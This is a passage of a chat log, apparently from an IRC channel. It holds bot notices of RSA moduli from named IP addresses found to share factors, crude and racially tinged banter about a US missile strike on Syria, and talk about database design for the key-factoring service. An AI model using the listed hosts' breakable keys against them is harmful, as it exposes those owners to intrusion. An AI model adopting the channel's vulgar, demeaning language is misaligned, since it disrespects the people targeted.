or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown IE) 1639529;1491530413;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5A06175686D55EF9C17BB4D0087DEBC752EA7F60C837DE1E687BAE0D3F8BE9D0 << Recent Phuctorings. - Phuctored: 1430...0689 divides RSA Moduli belonging to '62.17.1.200 (ssh-rsa key from 62.17.1.200 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown IE) 1639530;1491531111;asciilifeform;https://www.safeschools.com << lol!! ^ usg-sponsored greatfirewall shared by several school districts 1639531;1491531160;asciilifeform;and! and! : 1639532;1491531165;asciilifeform;'Our award-winning suite of K-12 safety and compliance programs includes solutions for staff training,accident tracking, SDS management and bullying/incident reporting.' 1639533;1491531173;asciilifeform;didjaknow. 1639534;1491531857;mircea_popescu;lmao 1639535;1491531898;mircea_popescu;for the record, i was trying to watch a comedy. half hour in i'm like... feh, i wonder what trilema's up to 1639536;1491534357;BingoBoingo;THE DOG HAS BEEN WAGGED 1639537;1491534466;BingoBoingo;Trump Shoves 60 cruise missiles into Syrian Airfield's Pussy 1639538;1491534569;asciilifeform;heilclitler 1639539;1491534645;asciilifeform;'"Assad choked out the lives of helpless men, women and children," President Donald Trump said in remarks from Mar-a-Lago, his family compound in Palm Beach, Florida. "It is in this vital national security interest of the United States to prevent and deter the spread and use of deadly chemical weapons," said Trump...' 1639540;1491534660;BingoBoingo;Not necessarily yet. Dog wagging has long tradition in US politics as way to beat the media up with itself. "Support our troops/missiles" gambit 1639541;1491534688;trinque;still very much open whether he says "alright, I did something" and leaves, or starts another Iraq 1639542;1491534721;asciilifeform;the count of 'leaves' to date, since 'the maine' incident, is 0. 1639543;1491534775;BingoBoingo;And recently russian has expressed "limits" to support of Assad. Perhaps A-10 and Su-25 regime change Syria in harmony to MWGA 1639544;1491534798;BingoBoingo;Not a likely outcome, but possibru 1639545;1491534874;asciilifeform;limits, aha. # of usg battleships sent to the bottom thus far : 0 1639546;1491534934;BingoBoingo;Well, 4 remaining US battleships all museums 1639547;1491534952;asciilifeform;tomahawk launchers, if you want. 1639548;1491535024;BingoBoingo;Bah, those are smaller ships and a couple converted ballistic missile submarines 1639549;1491535030;asciilifeform;meanwhile, https://archive.is/b7Ggr >> deathray treason! and plot! i know of no reason! why deathray treason, should ever be forgot !!1111 1639550;1491535046;asciilifeform;'MIT Grad Nicolai Mork Arrested on Terrorism, Weapons of Mass Destruction Charges' -- 'An MIT graduate was arrested on charges of terrorism and possession of weapons of mass destruction...' 1639551;1491535186;danielpbarron;!!deed http://danielpbarron.com/obsd55-cd1.iso.tar.gz.txt.asc 1639552;1491536110;deedbot;http://qntra.net/2017/04/the-dog-has-been-wagged-trump-fires-60-cruise-missiles-into-syrian-airfields-pussy/ << Qntra - The Dog Has Been Wagged: Trump Fires 60 Cruise Missiles Into Syrian Airfield's Pussy 1639553;1491536130;BingoBoingo;"“Unlike the previous administration, President Trump confronted a pivotal moment in Syria and took action,” said Sens. John McCain (R-AZ) and Lindsey Graham (R-SC)." << Apparently Trump satisfied the Lich's war boner. 1639554;1491536198;BingoBoingo;"Good night and God bless America and the entire world. Thank you." << On the otherhand could be hint of MWGA effort 1639555;1491536558;mircea_popescu;trinque well it'll be a little difficult to start another iraq seeing how the ru planes actually work. 1639556;1491536575;mircea_popescu;but anyway, there's dark silence from moscow ; seems altogether likely the chinese won this round. 1639557;1491536579;asciilifeform;unfortunately they only work if flown 1639558;1491536609;mircea_popescu;lol k. 1639559;1491536717;BingoBoingo;In other MWGA https://www.rt.com/news/383758-philippines-occupy-spratly-islands/ 1639560;1491536729;BingoBoingo;^ China can't win them all 1639561;1491536730;mircea_popescu;what's the w again ? 1639562;1491536735;BingoBoingo;World 1639563;1491536751;mircea_popescu;holy shit what ? 1639564;1491536785;mircea_popescu;ah lol. i thought for a moment they actually were going for the fortifications there. 1639565;1491536793;BingoBoingo;http://staging.snopes.com/app/uploads/2016/11/russian-billboard.jpg 1639566;1491536817;phf;hehe 1639567;1491536848;mircea_popescu;lel 1639568;1491536890;mircea_popescu;.22 caliber handgun ?! 1639569;1491536910;asciilifeform;mircea_popescu: apparently! mass destructor! 1639570;1491536915;asciilifeform;didjaknow! 1639571;1491536923;asciilifeform;perhaps fires gadolinum bullet. 1639572;1491536930;asciilifeform;or what was it. 1639573;1491536932;phf;i was just shooting that earlier today... 1639574;1491536967;asciilifeform;#1 -- funnily -- caliber in usa. 1639575;1491536983;asciilifeform;not because everyone is training for olympics. but because cheapo. 1639576;1491536999;asciilifeform;1000 / ~fiddybux. 1639577;1491537012;BingoBoingo;Usually sold by the 500 round "brick" 1639578;1491537020;phf;i thought that's 9mm, but i guess that makes sense. fwiw cheapest round at the range 1639579;1491537082;mircea_popescu;why's the thing sold as "mit produces nutcase" anyway. 40 yo, what the fuck relation does college have 1639580;1491537083;mircea_popescu;lmao "one count of possession of a silencer" ? really ? 1639581;1491537086;asciilifeform;( low enough pressure, also, that barrel can be made of shitalloy ) 1639582;1491537119;asciilifeform;mircea_popescu: aha, this is considered a mega-crime in usa, ~same penalty as for being found with a crate of grenades, or aircraft autocannon. go figure. 1639583;1491537121;mircea_popescu;and wtf is anyone training for with that shit ? "how to be totally surprised by recoil and shoot your own hat" ? 1639584;1491537127;BingoBoingo;And rimfire so can be stamped out at trivial cost, while brass is unreloadable with civilian equipment 1639585;1491537147;mircea_popescu;brass is reloadable by hand what are you talking 1639586;1491537149;asciilifeform;whatchatalking about BingoBoingo -- brass is eminently reloadable 1639587;1491537154;mircea_popescu;lol 1639588;1491537168;BingoBoingo;"rimfire" is a pain 1639589;1491537185;BingoBoingo;centerfire fine, presses. People have automated setups at home 1639590;1491537238;BingoBoingo;HOLY SHIT IT CAN BE DONE. https://www.ammoland.com/2015/11/reloading-22lr-ammo/ 1639591;1491537275;mircea_popescu;i might be a little slow on the uptake, but what is tomahawk supposed to do to airstrip ? 1639592;1491537282;asciilifeform;crater? 1639593;1491537288;mircea_popescu;uh. 1639594;1491537293;asciilifeform;same thing german bombs did to su airstrips in '41 1639595;1491537306;mircea_popescu;so spend 2mn to make a pothole costs 300 bucks to fix ? 1639596;1491537323;BingoBoingo;Well, duh 1639597;1491537327;asciilifeform;if empty -- yes 1639598;1491537332;asciilifeform;presumably this one had machines parked there 1639599;1491537339;*;asciilifeform wasn't there , did not see 1639600;1491537340;mircea_popescu;the idea is assad kept the planes on the tarmac ? 1639601;1491537348;BingoBoingo;Anyways, never though to consider before today that rimfire might be reloadable. The moar you know. 1639602;1491537354;mircea_popescu;and they were targetted with tomahawks ? 1639603;1491537401;asciilifeform;supposedly! 1639604;1491537439;BingoBoingo;Point of firing tomahawks is almsot never about what they do. It is about demonstrating that you go through the motions of doing things. 1639605;1491537460;mircea_popescu;asciilifeform oddly they didn't even shoot them down serbian style ? 1639606;1491537487;BingoBoingo;Perhaps Russia flipped syrian air defense off? 1639607;1491537503;mircea_popescu;you think ? 1639608;1491537536;BingoBoingo;Surely Putin must know of American dog wagging rituals. 1639609;1491537584;mircea_popescu;maga through waga ? 1639610;1491537676;BingoBoingo;"Support our troops" took Dubya approval ratings from toilet to 80%+ Imagine what a war that ended would do! 1639611;1491537700;mircea_popescu;~nothing ? 1639612;1491537720;BingoBoingo;Sure, but it would look like something. 1639613;1491537751;mircea_popescu;more accurately, it'd look like what a thing that looked like something used to look. 1639614;1491537779;BingoBoingo;Serious onion theory problem, but sure. 1639615;1491537858;BingoBoingo;"Member when we had a white president who liked our country" 1639616;1491537937;mircea_popescu;make the country of africa great again! 1639617;1491537963;BingoBoingo;Rhodesian Pride! 1639618;1491538009;BingoBoingo;Anyways onion is fine model for the cognitive dissonance possessed by typical USer 1639619;1491538148;mircea_popescu;meanwhile in good boobjobs, https://68.media.tumblr.com/2888ccf2ba5d9102a019345292a2f603/tumblr_o0tft4FnDu1uvdst4o1_1280.jpg 1639620;1491538178;BingoBoingo;A+++ surgeon 1639621;1491538485;mircea_popescu;whereas in "things to brag about", https://68.media.tumblr.com/a89bb384d3e6eda25cc9f4a1d51c73e8/tumblr_nruvdiqHUv1urp005o1_1280.jpg 1639622;1491538718;deedbot;deeds online 1639623;1491540240;mircea_popescu;btw, whosoever wants a good dose of mosfilm in english, try "west point story". cagney's blond even. 1639624;1491540938;asciilifeform;elsewhere: 'the swamp drained trump, and all is back to normal' 1639625;1491542962;mircea_popescu;http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-tru lulz 1639626;1491545274;deedbot;http://phuctor.nosuchlabs.com/gpgkey/295DCED54A7E6486B190428C6A3F5EC2D19976AC3AAA238CBB1BC0E86D7D73C8 << Recent Phuctorings. - Phuctored: 1561...9013 divides RSA Moduli belonging to '89.175.48.164 (ssh-rsa key from 89.175.48.164 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown RU) 1639627;1491545274;deedbot;http://phuctor.nosuchlabs.com/gpgkey/295DCED54A7E6486B190428C6A3F5EC2D19976AC3AAA238CBB1BC0E86D7D73C8 << Recent Phuctorings. - Phuctored: 1774...5533 divides RSA Moduli belonging to '89.175.48.164 (ssh-rsa key from 89.175.48.164 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown RU) 1639628;1491546922;CompanionCube;'An attacker within range may be able to execute arbitrary code on the Wi-Fi chip' 1639629;1491561758;mircea_popescu;http://btcbase.org/log-search?q=from%3Adeedbot%20%22trilema.com&page=8 << ah check it out, soon deedbot will be celebrating 1k trilema articles fed! 1639630;1491565862;Framedragger;olook our friend leah resurfaces again: https://libreboot.org/#open-letter-to-the-free-software-community 1639631;1491565881;mircea_popescu;did she discover trump's birth certiuficate ? 1639632;1491565899;Framedragger;bhah she's actually retracting her words so i guess not! 1639633;1491565912;Framedragger;'i fucked up and also was on drugs' 1639634;1491565915;Framedragger;ok leah 1639635;1491565930;Framedragger;!$getarchive https://libreboot.org/#open-letter-to-the-free-software-community 1639636;1491565931;scriba;Previously archived URL: http://archive.is/bJfLi (this was archived by scriba: yes) 1639637;1491565932;mircea_popescu;tits for btc -> redemption. 1639638;1491565937;Framedragger;:) 1639639;1491567098;trinque;https://www.rt.com/news/383832-turkey-syria-no-fly-zone/ 1639640;1491567193;mircea_popescu;is this a good thing ? 1639641;1491567296;trinque;maybe erdogan gassed the poar syrians 1639642;1491567343;trinque;guy seems like he's gunning for sandfuhrer 2020 1639643;1491567423;mircea_popescu;im kinda surprised they sat by with the mosul base did ~nothing 1639644;1491567558;mircea_popescu;a look, they're all "must oust assad". 1639645;1491570667;Framedragger;http://btcbase.org/log/2017-04-06#1639226 << fwiw the siphnos cacher requests index stats page every 30min now, + /phuctored and /dupes once per hour (at different times, not simultaneously). so my guess would be google et al. web crawlers :/ 1639646;1491570667;a111;Logged on 2017-04-06 19:00 asciilifeform: in other noose, phuctor stats now ~unloadable 1639647;1491570743;trinque;simple fix is to crap out a stats page static file at interval. 1639648;1491570776;trinque;or we can just wait patiently as phuctor toils for the republic 1639649;1491570808;Framedragger;yes indeed, however asciilifeform's initial objection (besides other less clear unwillingness) was the requirement for phuctor to show 'live data'. which imho is not necessary. 1639650;1491570883;Framedragger;especially as regards *aggregated* stats (the index stats page) - so what if it lags for up to $interval 1639651;1491570892;trinque;no such thing, only varying degrees of delayed data 1639652;1491570915;Framedragger;something something lightspeed 1639653;1491570970;mircea_popescu;the problem was that db waits for writes to read iirc. 1639654;1491571019;Framedragger;current situation is that it does that for every web request.. 1639655;1491571149;mircea_popescu;there is that 1639656;1491571596;asciilifeform;http://btcbase.org/log/2017-04-07#1639653 << correct 1639657;1491571596;a111;Logged on 2017-04-07 13:16 mircea_popescu: the problem was that db waits for writes to read iirc. 1639658;1491571753;asciilifeform;http://btcbase.org/log/2017-04-07#1639649 << i would like to static the whole thing, but currently have nfi how to do that while retaining the 'what are all keys with mod M ?' , 'what are all mods with factor F?' , 'search for string S in userids' etc 1639659;1491571753;a111;Logged on 2017-04-07 13:13 Framedragger: yes indeed, however asciilifeform's initial objection (besides other less clear unwillingness) was the requirement for phuctor to show 'live data'. which imho is not necessary. 1639660;1491571962;asciilifeform;http://btcbase.org/log/2017-04-07#1639647 << in point of fact this is not simple -- right now the thing is wholly reactive -- proggy only runs per request. and is written in a lang having no actual threading... 1639661;1491571962;a111;Logged on 2017-04-07 13:12 trinque: simple fix is to crap out a stats page static file at interval. 1639662;1491572003;trinque;there's already a function that renders that page... 1639663;1491572013;mircea_popescu;as in, the www worker ? 1639664;1491572017;asciilifeform;the use of python for frontend was a mistake. i did it to avoid having to write gpg disasmer from 0, and www liquishit from 0 1639665;1491572033;asciilifeform;trinque: correct 1639666;1491572066;asciilifeform;the problem is that there is simply not enough db 'bandwidth' 1639667;1491572081;asciilifeform;to run it regularly and still be able to do anything else. 1639668;1491572090;asciilifeform;postgres must die. 1639669;1491572106;mircea_popescu;try mysql 1639670;1491572112;asciilifeform;mno. 1639671;1491572119;mircea_popescu;why! 1639672;1491572123;*;asciilifeform has tried it in the past. 1639673;1491572126;mircea_popescu;ah 1639674;1491572135;asciilifeform;all sqltrons have same fundamental problem. 1639675;1491572140;mircea_popescu;it DOES read while writing. 1639676;1491572186;asciilifeform;pg also claims to. the knob did 0. 1639677;1491572200;mircea_popescu;yes but i know it in fact does from you know, running trilema. 1639678;1491572217;trinque;man, I've worked on pg databases that did nothing but write *and* read concurrently while sitting on a few hundred million rows 1639679;1491572232;asciilifeform;who is writing 1000 writes / sec to trilema ?! 1639680;1491572235;trinque;the politics of asciilifeform doth seep into the use of thing he doesn't like 1639681;1491572242;trinque;no shame in that, but it's what that is 1639682;1491572251;*;mircea_popescu whenever i do maintenances. 1639683;1491572267;asciilifeform;trinque: one of these days you gotta expand on how you did it 1639684;1491572301;trinque;successive aggregate calculation tables aside main table 1639685;1491572315;asciilifeform;mircea_popescu: db vacuum is not a sequence of writes for the purpose of subj 1639686;1491572326;trinque;can even fire the updates inside the db with triggers, so everything is transactionally accurate 1639687;1491572335;trinque;i.e. counts are always correct 1639688;1491572361;mircea_popescu;asciilifeform no, i on occasion do multi-row updates. such as (lolz) recently when i made every entry of the 50k items in article db read the same thing. 1639689;1491572381;mircea_popescu;these can take minutes, and the site isn't down during, at all. 1639690;1491572382;asciilifeform;mircea_popescu: fwiw i was not able to load trilema while this was taking place. 1639691;1491572396;asciilifeform;or was that after 1639692;1491572398;mircea_popescu;pretty sure you weren't able to do it after i fucked it 1639693;1491572412;asciilifeform;but ues 1639694;1491572414;asciilifeform;yes 1639695;1491572416;mircea_popescu;table got marked crashed, so all you could load would be the comments, sorta funny half-trilema 1639696;1491572421;asciilifeform;formatting disk is fast!11 1639697;1491572427;mircea_popescu;lel 1639698;1491572430;asciilifeform;and so is 'set all row to c' 1639699;1491572445;mircea_popescu;your updates consist of "set a to b" neh ? 1639700;1491572455;asciilifeform;no, if only 1639701;1491572461;mircea_popescu;then ? 1639702;1491572470;mircea_popescu;set a to a*b ? 1639703;1491572475;asciilifeform;observe how phuctor is structured 1639704;1491572480;mircea_popescu;yes... 1639705;1491572549;asciilifeform;new key entered? must find if we know its mods, any of them, already 1639706;1491572561;asciilifeform;and for that matter, if key is new at all 1639707;1491572572;mircea_popescu;this is index search not update is it ? 1639708;1491572600;asciilifeform;and yes this can be done in bursts, as mircea_popescu described a while ago. but still gotta query whole db for mods 1639709;1491572635;asciilifeform;maybe i misunderstand what means 'update' ? 1639710;1491572697;trinque;two thoughts, beyond which a look at the actual thing would be needed. 1) queues and workers, always 2) db acts as your queue, schema reflects the stages of work 1639711;1491572703;trinque;oh and 3) rendering www is a stage of work 1639712;1491572712;trinque;doing all this in the request/response cycle will kill ya eventually 1639713;1491572729;mircea_popescu;a db write is either insert or update ; finding out things is usually a select. it ~may~ be worthwhile to separate your reads from the writes, because it is technically possible (thopugh i'd hope unlikely) the db is dumb enough to put write locks in for something like "update x on y" even though it should be "select y if z then update x". 1639714;1491572763;asciilifeform;^ good idea 1639715;1491572769;*;asciilifeform puts on list. 1639716;1491572797;asciilifeform;unfortunately not doable without full rewrite. 1639717;1491572803;mircea_popescu;this is ~what trinque said except his is more general. 1639718;1491572898;asciilifeform;and yes trinque is right, it needs multiprocess queues, etc 1639719;1491572932;asciilifeform;ergo depythonization 1639720;1491573126;trinque;yar 1639721;1491573148;trinque;only way to deal with the nonsense that one "must" respond to allcomers "now" 1639722;1491573151;trinque;on the www 1639723;1491573158;asciilifeform;another gotcha is that the process that does the actual crunching is written in c and communicates solely via the db. it spends ~3min a day reading, but then ~all day checking 'do we already have this factor? ' writing it, in short bursts. but each of these bursts must show up in rss. 1639724;1491573175;asciilifeform;it would not do to have them all come out at once 1639725;1491573235;trinque;could get me a pg connection and I could listen for pg_notify on a trigger of that table 1639726;1491573253;asciilifeform;what's that do 1639727;1491573263;asciilifeform;instead of rss?! 1639728;1491573285;asciilifeform;mno. i refuse to marry sql db !!! 1639729;1491573287;mircea_popescu;asciilifeform trilema ~delays~ rss, you udnerstasnd me ? 1639730;1491573290;trinque;k so suffer 1639731;1491573292;trinque;lol 1639732;1491573311;trinque;yes, send me the bursts as they happen, don't render the RSS each time 1639733;1491573313;trinque;from db 1639734;1491573319;asciilifeform;mircea_popescu: trilema doesn't potentially update 100 / day 1639735;1491573325;mircea_popescu;no, you don't take my meaning. 1639736;1491573336;mircea_popescu;go right ahead, produce a list of 5k rss items, THEN dole them out slowly. 1639737;1491573342;asciilifeform;aah 1639738;1491573342;mircea_popescu;have a rss queue, what. 1639739;1491573345;asciilifeform;this - yes 1639740;1491573350;trinque;this is www born nonsense that communication may only run one way, client can't listen for changes 1639741;1491573356;asciilifeform;but again needs multithreaded proggy. 1639742;1491573367;asciilifeform;that can actually do things without being prodded. 1639743;1491573377;asciilifeform;and yes trinque 1639744;1491573386;asciilifeform;www is fundamentally retarded paradigm 1639745;1491573460;asciilifeform;http://btcbase.org/log/2017-04-07#1639625 << vanished... 1639746;1491573460;a111;Logged on 2017-04-07 05:29 mircea_popescu: http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-tru lulz 1639747;1491573471;trinque;which is why I interact with it through means that do *not* block as it does 1639748;1491573476;mircea_popescu;(ftr, at least once in itgs history trilema updated 6.5k times/day 1639749;1491573488;asciilifeform;the wikilicks dump? 1639750;1491573491;mircea_popescu;yeh 1639751;1491573504;asciilifeform;http://btcbase.org/log/2017-04-07#1639630 << also vanished? 1639752;1491573504;a111;Logged on 2017-04-07 11:51 Framedragger: olook our friend leah resurfaces again: https://libreboot.org/#open-letter-to-the-free-software-community 1639753;1491573518;mircea_popescu;asciilifeform re thehill : nah, they are just braindamaged. trilema works by bits, eg, http://trilema.com/2015/a-lunatic-with-a-bloodied-a takes you to article 1639754;1491573527;mircea_popescu;http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-tru does not take you to http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-trump 1639755;1491573530;asciilifeform;aah 1639756;1491573534;mircea_popescu;because you know, HOW COULD IT POSSIBLY guess. 1639757;1491573541;mircea_popescu;better do a 404 be sure. 1639758;1491573595;asciilifeform;lel 1639759;1491573612;mircea_popescu;typical "republican" "conservative" nonsense mindset. 1639760;1491573624;Framedragger;asciilifeform: have you tried postgres index-only scans? have you tried materialised views? if not, the "postgres must die" sounds sorta surface-level, imho 1639761;1491573652;asciilifeform;Framedragger: briefly describe what these do ? 1639762;1491573672;asciilifeform;do they create risk of data loss ? 1639763;1491573688;Framedragger;index-only scans allow to search in a table without 'touching', or 'locking' the actual rows (which may be simultaneously written-to, at the same time) 1639764;1491573699;Framedragger;not afaik. these are to do with *reading* only. but trinque may chime in 1639765;1491573713;asciilifeform;do they create chance of reading liquishit ? 1639766;1491573718;Framedragger;materialised views - ditto regarding *reading only* 1639767;1491573732;asciilifeform;what actually happens if you read a row being written 1639768;1491573734;Framedragger;again, no, and as per ACID, no dirty reads (*not a bad thing here*) 1639769;1491573746;Framedragger;hm. 1639770;1491573756;asciilifeform;so why then is this not standard? why locks exist at all ?! 1639771;1491573780;*;Framedragger refreshes self on https://www.postgresql.org/docs/9.1/static/transaction-iso.html 1639772;1491573812;Framedragger;obtw which postgres version on phuctor asciilifeform? those two features not available in old versions. i don't remember which ver is in debian stable 1639773;1491573843;trinque;materialized views are nothing more than a named query which stores its results in a table 1639774;1491573850;trinque;and which you can refresh at interval 1639775;1491573852;asciilifeform;a very recent one . but i'll have to get back to you Framedragger re : which 1639776;1491573871;shinohai;lol Jason Dreyzehner "Head of Design" at buttpay followed me on twitter. Perhaps staring at T&A will be useful in making UI decisions. 1639777;1491573873;trinque;they are useful for calculating aggregates as I was describing. 1639778;1491573879;trinque;can cron the "refresh materialized view" 1639779;1491573883;trinque;at sane interval 1639780;1491573897;Framedragger;and ^ is effectively a cache of sorts (useful here) 1639781;1491573900;asciilifeform;trinque: that sounds potentially useful. i'll have to investigate 1639782;1491573931;trinque;these as queue tables for stages of work are also useful 1639783;1491573947;asciilifeform;trinque: i don't like state 1639784;1491573948;trinque;however it may be saner to completely divorce the algorithmic part from sql 1639785;1491573967;trinque;just fart results into sql for wwwtron 1639786;1491573986;asciilifeform;and i certainly don't want html in my db wtf 1639787;1491573996;trinque;nobody said that 1639788;1491574015;Framedragger;...no, lol, the *results* are 'cached', you still regen html (but this is computationally trivial neh) 1639789;1491574032;asciilifeform;aah yeah 1639790;1491574057;trinque;so here's what relational db was supposed to be for, like bash originally had a 'supposed to be for' 1639791;1491574094;trinque;it's a goddamned spreadsheet; you're supposed to compute elsewhere and then fart your results in there so somebody managerial can ask it questions 1639792;1491574116;Framedragger;btw, i once screwed around with memoization in flask. iirc something can be done here as well, asciilifeform (it may be as trivial as adding a decorator before the function which handles GET request) 1639793;1491574118;trinque;it grew beyond this scope the same reason bash did, or anything else that was originally a user interface 1639794;1491574127;asciilifeform;Framedragger: i have it already 1639795;1491574133;Framedragger;ah okok. 1639796;1491574143;asciilifeform;Framedragger: problem is that the cache gotta expire some time. 1639797;1491574149;mircea_popescu;trinque> materialized views are nothing more than a named query which stores its results in a table << this is a convenience not a speed-up 1639798;1491574170;asciilifeform;mircea_popescu: i think he was proposing it as an ad hoc parallelism 1639799;1491574176;mircea_popescu;shinohai you're prolly twitter famous. 1639800;1491574193;trinque;it's a speedup for someone loading the stats page 1639801;1491574200;trinque;and keeps him from reading the same table he's writing 1639802;1491574226;trinque;thing's designed for parallelism yes, but of the same exact data in same spot is a big ask 1639803;1491574230;trinque;move the data around 1639804;1491574235;Framedragger;mircea_popescu: in materialized view, postgres can persist results of query in table-like form. so it *does* cache them; hence you can't say it's convenience only. 1639805;1491574284;Framedragger;(when you query a mat view, data is returned directly from it, without touching the source live table) 1639806;1491574301;Framedragger;(unless i've misunderstood horribly) 1639807;1491574306;trinque;no, that is accurate. 1639808;1491574313;mircea_popescu;might as well just make a proper cache table. 1639809;1491574346;asciilifeform;trinque: another problem: i thought of having new submissions go to a queue, instead of main db. but! that would nuke the vey valuable 'paste in an unknown pgp key and know ~immediately~' feature. 1639810;1491574357;mircea_popescu;is it immediate ? 1639811;1491574364;asciilifeform;it is. 1639812;1491574373;trinque;which is only a thing because www is 'daddy buy me a pony now!' 1639813;1491574373;mircea_popescu;ah i always thought i should consult later 1639814;1491574376;trinque;irc could just tell you when done 1639815;1491574390;asciilifeform;mircea_popescu: not the phuctoring! 1639816;1491574397;asciilifeform;the 'do we know it' 1639817;1491574402;mircea_popescu;ah ah ah 1639818;1491574407;asciilifeform;yes. 1639819;1491574407;mircea_popescu;yes that's very nice. 1639820;1491574421;mircea_popescu;half the time saves me the wait. 1639821;1491574427;asciilifeform;aha, nice, but not compatible with queueing. 1639822;1491574441;trinque;so... lol. the other insanity people commit here is starting n pythons 1639823;1491574444;asciilifeform;now i can make a separate queuer just for offline subs 1639824;1491574452;trinque;because GIL or whatever they called the lock 1639825;1491574457;asciilifeform;but now it means two wholly separate subsystems 1639826;1491574465;mircea_popescu;trinque what'd you have him do it in, c ? 1639827;1491574477;trinque;oh I proposed nothing for this fractal hell! 1639828;1491574486;asciilifeform;i'd luvvv to know in what to redo this 1639829;1491574489;trinque;haha, but hey sbcl is threaded and hunchentoot exists. 1639830;1491574491;trinque;works great 1639831;1491574510;asciilifeform;trinque: you wanna write gpg parser ? that handles all cases ? 1639832;1491574519;asciilifeform;it dun exist 1639833;1491574522;asciilifeform;in cl 1639834;1491574557;asciilifeform;remember, it also has to handle arbitrary binary garbage without misbehaving. 1639835;1491574580;mircea_popescu;yeah, fuzz tip 1639836;1491574626;asciilifeform;and yes, originally phuctor front end was to be a cl proggy 1639837;1491574637;asciilifeform;but turns out, the necessary work is gargantuan. 1639838;1491574655;asciilifeform;if i had insisted, phuctor would still be a waited-for thing 1639839;1491574675;asciilifeform;instead of working-but-complained-about. 1639840;1491574694;mircea_popescu;open question whether cl would be fast enough. though i know there's some people itching to answer it. 1639841;1491574719;asciilifeform;mircea_popescu: python certainly isn't 1639842;1491574732;trinque;python's slower, and astonishingly so when threading 1639843;1491574746;mircea_popescu;there is that. 1639844;1491574762;mircea_popescu;are there any known documented and running cl-anythings more or less the size phuctor'd be ? 1639845;1491574774;asciilifeform;orbitz 1639846;1491574884;asciilifeform;http://btcbase.org/log/2017-04-07#1639628 << 'put wifi in everything! only an unteasonable terrorist would refuse!!' -- everyone not-tmsr 1639847;1491574884;a111;Logged on 2017-04-07 06:35 CompanionCube: 'An attacker within range may be able to execute arbitrary code on the Wi-Fi chip' 1639848;1491574896;asciilifeform;*unreasonable 1639849;1491574904;trinque;asciilifeform: if stuck on python, which I grant is practical, can't really refuse the customary sins to make it go 1639850;1491574922;asciilifeform;trinque: i'd much like to get off it 1639851;1491574983;asciilifeform;which is why fixes that retain it, seem like total waste of time to me ( i put a good deal of time into experimenting with db configs the last time we had this thread. and it made 0 measurable difference, for instance. ) 1639852;1491575023;trinque;I could tune my truck's engine all day and hauling 7000lbs vs 2000lbs will have greater effect 1639853;1491575030;trinque;but I take your meaning 1639854;1491575166;trinque;really the right thing to do here is sell a buncha fuckgoats, get asciilifeform rich, hire stable boy 1639855;1491575169;trinque;not optimize this 1639856;1491575196;asciilifeform;tbh i dun think anybody is getting rich on fg... 1639857;1491575201;mircea_popescu;what's the stable boy to do ? 1639858;1491575247;trinque;things that are cheap that can later be thrown away 1639859;1491575260;trinque;while more expensive people continue to think long-term 1639860;1491575314;*;trinque expects to throw away any www he builds by weight 5x over the lifetime 1639861;1491575320;asciilifeform;aaaaaah looks like i gotta paste in http://btcbase.org/log/2017-02-19#1615434 again 1639862;1491575320;a111;Logged on 2017-02-19 03:54 asciilifeform: (iirc we had a thread where i described how corporate ameritards, if given a problem like phuctor, would happily soak up a few $mil and megawatt of iron) 1639863;1491575324;trinque;otherwise yes, compromises overrun the thing 1639864;1491575370;trinque;asciilifeform: I threw away first bot, and second bot, and we sit here with the 3rd 1639865;1491575382;trinque;did not burn any $mil or megawatt 1639866;1491575392;asciilifeform;trinque: understand, first thing, and only thing , that a brute labourer would say re phuctor, is 'buy $mil of replication', 'use clouds', etc 1639867;1491575478;asciilifeform;trinque: your bot, while very spiffy, and necessary, is not an intrinsically heavy item 1639868;1491575485;trinque;nor the www part of your thing 1639869;1491575503;asciilifeform;this remains to be seen 1639870;1491575539;asciilifeform;that is, just how separable the light is from the heavy 1639871;1491575551;asciilifeform;while retaining what must be retained 1639872;1491575561;trinque;I'll close with the observation that asciilifeform's "fits in head" serves "build to iterate and throw away" very well. 1639873;1491575586;asciilifeform;it does. 1639874;1491575618;asciilifeform;phuctor, for instance, dropped ~half of its length each time i rewrote. 1639875;1491575640;asciilifeform;imho this is proper. 1639876;1491575654;trinque;aha 1639877;1491575924;mircea_popescu;trinque this stable boy notion needs more thinking. 1639878;1491576012;shinohai;http://btcbase.org/log/2017-04-07#1639637 <<< This is what I said to Steemit evangelist R. Hilarski a few days ago when he accused me of just hating on altcoins. "When you lose all your BTC in scams, at least your wife is kinda hot so she can come by trilema and bare her tits for bits." 1639879;1491576012;a111;Logged on 2017-04-07 11:52 mircea_popescu: tits for btc -> redemption. 1639880;1491576276;trinque;mircea_popescu: more clearly stated, I do not see a www as part of the algorithm of phuctor. it is one source of input where there could be many, and one output idem. with a clearly defined line between www and phuctor (even allowing for that www may require cached copies of phuctor data to operate properly), this gives you something you can nuke later and replace. 1639881;1491576332;trinque;without this separation the idiocies of www will creep in, such as "must respond to user accurately and *now*" 1639882;1491576366;trinque;meanwhile asciilifeform has no business adopting sql perversions as tools of thought; it would be demeaning 1639883;1491576455;trinque;thus the notion of sticking someone in the www toilet, who manages commands of specific outputs and inputs, and above all keeps the shit in the shithouse 1639884;1491576490;Framedragger;the 'www side can live on another server, even' degree of separation may be most easily achievable (given lack of resources to rewrite everything as of now) via pg notify / streaming replication. but maybe asciilifeform would insist that this is 'marrying the db' 1639885;1491576505;trinque;and when gossipd comes around and asciilifeform can dispense with www entirely, dispense with shithouse *and* shithouse creature 1639886;1491576514;trinque;clean break on both 1639887;1491576580;mircea_popescu;no i don't mean that. i just mean, yes in principl;e doing something with the plebs is not a bad idea ; but the exact what and wherefore coulo use more conteplation. 1639888;1491576589;trinque;ah k 1639889;1491577049;Framedragger;http://btcbase.org/log/2017-04-07#1639770 << where possible, new-enough postgres will automagically perform index-only scans. `EXPLAIN ANALYZE your-query-here` output would be interesting to see here 1639890;1491577049;a111;Logged on 2017-04-07 14:02 asciilifeform: so why then is this not standard? why locks exist at all ?! 